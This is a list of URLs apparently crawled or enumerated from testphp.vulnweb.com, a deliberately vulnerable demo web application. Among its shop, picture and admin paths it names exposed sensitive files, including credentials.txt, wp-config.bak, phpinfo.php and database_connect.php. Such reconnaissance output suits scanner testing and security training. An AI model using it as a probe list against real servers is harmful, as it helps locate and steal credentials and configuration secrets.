http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/details.php
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/images/
http://testphp.vulnweb.com/Mod_Rewrite_Shop/index.php
http://testphp.vulnweb.com/Mod_Rewrite_Shop/rate.php
http://testphp.vulnweb.com/Mod_Rewrite_Shop/RateProduct-3.html
<http://testphp.vulnweb.com/pictures/>
<http://testphp.vulnweb.com/pictures/1.jpg.tn>
<http://testphp.vulnweb.com/pictures/2.jpg.tn>
<http://testphp.vulnweb.com/pictures/3.jpg.tn>
<http://testphp.vulnweb.com/pictures/4.jpg.tn>
<http://testphp.vulnweb.com/pictures/5.jpg.tn>
<http://testphp.vulnweb.com/pictures/6.jpg.tn>
<http://testphp.vulnweb.com/pictures/7.jpg.tn>
<http://testphp.vulnweb.com/pictures/8.jpg.tn>
<http://testphp.vulnweb.com/pictures/credentials.txt>
<http://testphp.vulnweb.com/pictures/ipaddresses.txt>
<http://testphp.vulnweb.com/pictures/path-disclosure-unix.html>
<http://testphp.vulnweb.com/pictures/path-disclosure-win.html>
<http://testphp.vulnweb.com/pictures/wp-config.bak>
http://testphp.vulnweb.com/pictures/WS_FTP.LOG
<http://testphp.vulnweb.com/privacy.php>
<http://testphp.vulnweb.com/product.php>
<http://testphp.vulnweb.com/search.php>
<http://testphp.vulnweb.com/secured/>
http://testphp.vulnweb.com/secured/database_connect.php
<http://testphp.vulnweb.com/secured/index.php>
<http://testphp.vulnweb.com/secured/newuser.php>
<http://testphp.vulnweb.com/secured/office.htm>
http://testphp.vulnweb.com/secured/office_files/
http://testphp.vulnweb.com/secured/office_files/filelist.xml
<http://testphp.vulnweb.com/secured/phpinfo.php>
<http://testphp.vulnweb.com/secured/style.css>
<http://testphp.vulnweb.com/sendcommand.php>
<http://testphp.vulnweb.com/showimage.php>

<http://testphp.vulnweb.com/signup.php>
<http://testphp.vulnweb.com/style.css>
<http://testphp.vulnweb.com/Templates/>
<http://testphp.vulnweb.com/Templates/logout.php>
http://testphp.vulnweb.com/Templates/main_dynamic_template.dwt.php
<http://testphp.vulnweb.com/userinfo.php>
<http://testphp.vulnweb.com/wvstests/>
http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/
http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/scripts/
http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/scripts/version.php